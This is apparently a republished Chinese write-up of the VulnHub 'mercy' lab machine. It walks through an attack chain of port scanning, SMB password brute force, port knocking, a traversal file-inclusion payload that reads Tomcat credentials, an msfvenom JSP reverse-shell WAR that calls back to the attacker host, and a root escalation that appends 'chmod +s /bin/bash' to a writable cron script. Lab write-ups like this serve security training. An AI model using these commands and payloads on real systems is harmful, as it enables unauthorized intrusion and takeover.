欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 文旅 > 游戏 > vulnhub靶场之【digitalworld.local系列】的mercy靶机

vulnhub靶场之【digitalworld.local系列】的mercy靶机

2025/3/8 23:44:46 来源:https://blog.csdn.net/China_I_LOVE/article/details/146049939  浏览:    关键词:vulnhub靶场之【digitalworld.local系列】的mercy靶机

前言

靶机:digitalworld.local-mercy,IP地址为192.168.10.11

攻击:kali,IP地址为192.168.10.6

kali采用VMware虚拟机,靶机选择使用VMware打开文件,都选择桥接网络

这里官方给的有两种方式,一是直接使用virtualbox加载,另一种是通过VMware直接加载,也给出了iso镜像文件。

文章中涉及的靶机,来源于vulnhub官网,想要下载,可自行访问官网下载,或者通过网盘下载 https://pan.quark.cn/s/86cf8a398835

主机发现

使用arp-scan -lnetdiscover -r 192.168.10.1/24扫描

也可以使用nmap等工具进行

信息收集

使用nmap扫描端口

扫描tcp端口,并保存于nmap-tcp

nmap -sT 192.168.10.11 --min-rate=1000 -p- -oA nmap-tcp

扫描常见的20个udp端口,不过这里的端口明显处于open的很少

nmap -sU 192.168.10.11 --top-ports 20 -T4 -oA nmap-udp

把前面扫描出的tcp、udp端口,进行处理,只取端口号

grep open nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','
grep open nmap-udp.nmap | grep -v "open|filtered" | awk -F'/' '{print $1}' | paste -sd ','
#这里就是包括可能开放的端口都不要,因为是靶机,可能过滤的话,也会无法进一步扫描
ports=53,110,139,143,445,993,995,8080,123,137

对特定的端口号进行深入探测

nmap -sV -O -sC -sT 192.168.10.11 -p $ports -oA detail

6

7

对特定的端口号进行漏洞检测,前面端口的检测,基本上都是在中间人攻击时,数据传输的问题

这里对于http服务进行了简单的枚举

nmap --script=vuln 192.168.10.11 -p $ports -oA vuln

网站信息收集

还是从网站开始下手进行

访问8080端口的界面,查看页面源代码,无信息暴露,不过在文章最后提到两个地址,是可以访问的,不过需要认证,也就是登录

访问manager界面

访问host-manager界面

使用gobuster进行目录爆破,也可以使用其他工具,如dirb、dirsearch

gobuster dir -u http://192.168.10.11:8080 -w /usr/share/wordlists/dirb/big.txt -x php,bak,txt,js,html -b 403-404

与之前使用nmap脚本时,枚举的差不多,这里主要就是robots.txt文件

访问robots.txt文件,发现一个路径

访问/tryharder/tryharder,发现是某种编码处理后的数据

根据特性,可能是base64编码,使用命令进行解码处理

echo 'SXQncyBhbm5veWluZywgYnV0IHdlIHJlcGVhdCB0aGlzIG92ZXIgYW5kIG92ZXIgYWdhaW46IGN5YmVyIGh5Z2llbmUgaXMgZXh0cmVtZWx5IGltcG9ydGFudC4gUGxlYXNlIHN0b3Agc2V0dGluZyBzaWxseSBwYXNzd29yZHMgdGhhdCB3aWxsIGdldCBjcmFja2VkIHdpdGggYW55IGRlY2VudCBwYXNzd29yZCBsaXN0LgoKT25jZSwgd2UgZm91bmQgdGhlIHBhc3N3b3JkICJwYXNzd29yZCIsIHF1aXRlIGxpdGVyYWxseSBzdGlja2luZyBvbiBhIHBvc3QtaXQgaW4gZnJvbnQgb2YgYW4gZW1wbG95ZWUncyBkZXNrISBBcyBzaWxseSBhcyBpdCBtYXkgYmUsIHRoZSBlbXBsb3llZSBwbGVhZGVkIGZvciBtZXJjeSB3aGVuIHdlIHRocmVhdGVuZWQgdG8gZmlyZSBoZXIuCgpObyBmbHVmZnkgYnVubmllcyBmb3IgdGhvc2Ugd2hvIHNldCBpbnNlY3VyZSBwYXNzd29yZHMgYW5kIGVuZGFuZ2VyIHRoZSBlbnRlcnByaXNlLg==' | base64 -d 

这里可以看到,解码后是一段内容,主要就是弱密码的问题,这里提示password,就是弱密码了

这里尝试之前的两个界面去登录测试,发现并不可取,啧,直接进行爆破也是可以,不过暂时继续收集信息

smb信息收集

使用enum4linux进行枚举,发现几个用户和共享

enum4linux -a 192.168.10.11

17

使用nmap的脚本进行探测

nmap --script=smb* 192.168.10.11

根据已知信息,进行汇集

用户名有pleadformercy、qiu、fluffy、thisisasuperduperlonguser

密码有一个暴露的提示,不知是否可用password,不过这也提示可能是弱密码

现在无ssh服务,可以进行密码爆破的有两处,一个是http的基本认证和smb的爆破

漏洞寻找

先进行爆破测试,把之前获取的用户名保存在user文件

hydra -L user -P /usr/share/wordlists/fasttrack.txt -e nsr 192.168.10.11 smb

这里可以看到,爆破出的密码和给出的密码是一样的,都是password

以这个账户去登录测试

smbclient //192.168.10.11/qiu -U qiu

把所有内容下载到kali

prompt		#关闭交互,这样下载时,默认选择yes
recurce		#开启递归,把文件夹中的文件也会下载
mget *		#下载所有内容

23

查看所有文件,寻找有无可用信息

访问.private目录时,发现有信息,这里可能有东西

关键配置文件泄露

最终在opensesame目录下的config文件发现好多配置

首先就是端口的开启与关闭,采用开门的形式,这里是对http80端口和ssh22端口的配置

先开启吧,这里可以使用knocknc按照序列即可开启端口

nc 192.168.10.11 159
nc 192.168.10.11 27391
nc 192.168.10.11 4

再开启22端口,一定要按照序列的顺序

knock 192.168.10.11 17301 28504 9999

后面的配置信息都是apache2smb的一些信息,并未透露什么敏感信息

那么访问80端口,只有这个信息,并且查看页面源代码也没有信息

和前面的8080端口网站一样,访问robots.txt文件试试有没有

发现两个路径/mercy、nomercy,访问mercy,发现是一段话,并且可能无用

访问nomercy,这可能是一个cms,并且在测试时,点击按钮无反应,并且界面中显示出了可能是cms的名称和版本信息

使用whatweb进行探测,确实如此

whatweb http://192.168.10.11/nomercy

漏洞利用

使用searchsploit搜索有无漏洞可利用,有一个

查看这个文档,两个可能,不过看来都像是文件包含

一个个的测试,先测试/windows/code.php

http://192.168.10.11/nomercy/windows/code.php?file=../../../../../../etc/passwd

这个也行,但是显示结果只有一行

http://192.168.10.11/nomercy/windows/function.php?file=../../../../../../etc/passwd

尝试进行远程文件包含测试,发现并不行,虽然远程文件是包含了,但是作为php相当于没有被解析

目前还有个8080端口的配置文件可以包含查看一下,其他文件尝试包含并不行

之前在8080端口的默认网站的最下面,提示到了这个用户方面的配置文件的位置/etc/tomcat7/tomcat-users.xml

直接包含这个文件进行查看,获取两组,不过从配置来看thisisasuperduperlonguser权限更大

用户名密码
thisisasuperduperlonguserheartbreakisinevitable
fluffyfreakishfluffybunny

通过war文件反弹shell

登录后,发现有部署war文件,那么就需要测试

使用msfenvm生成一个脚本

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.10.6 LPORT=9999 -f war -o shell.war

kali中使用nc监听对应的端口

nc -lvnp 9999

然后部署后,点击部署的名称shell,即可获取到反弹shell

水平提权

在这里折腾了一会,就没截图,直接切换fluffy用户,所用的密码就是在tomcat的配置文件中发现的两组用户,为什么能切换,首先就是确认了系统中有这个用户,然后就是测试是否存在一个密码多用的情况

fluffy的家目录下的一个文件夹中,发现一个疑似定时任务的脚本,所属者为root,并且这个文件别人是可以修改的

就先添加一句,因为目前不确定

echo "chmod +s /bin/bash" >> timeclock

靶机内信息收集

收集系统内核及系统版本

uname -a/-r
cat /etc/issue
cat /etc/*release

查看网络连接状态

ip add
ss -antlp

查看以root执行的进程

ps aux | grep root

上传pspy64脚本,发现无法执行,上传les.sh脚本,发现几个可能性高的漏洞

但是因为靶机内没有gcccc,所以我测试前面可能性较高的都无法执行后,就放弃了

使用find寻找具有SUID权限的文件

find / -perm -u=s -type f 2>/dev/null

垂直提权至root

这里测试sudo -l也是对当前用户无用的,这里的/bin/bash让我确信,是前面的定时脚本任务执行了

echo "chmod +s /bin/bash" >> timeclock

就是这个在前面先输入进去的

执行语句进行提权,然后查看/root下的证明

/bin/bash -p

总结

该靶机考察以下几点:

  1. 一个常见的robots.txt泄露敏感目录
  2. 常见的编码,这里是base64
  3. smb服务的连接,以及文件的下载
  4. 端口敲门服务,需要特定的序列顺序
  5. 识别cms并得知其漏洞,这里就是文件包含漏洞,但是配合tomcat的用户配置文件的位置泄露,导致获取到关键信息
  6. 对于tomcatwar文件部署,通过msfvenom生成脚本文件,并获取反弹shell
  7. 水平提权时,用户可能存在一码多用的情况
  8. 提权至root时,收集到一个疑似定时任务的脚本,尝试写入语句,最终成功执行了。不过这里没找到定时任务的内容,啧。

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词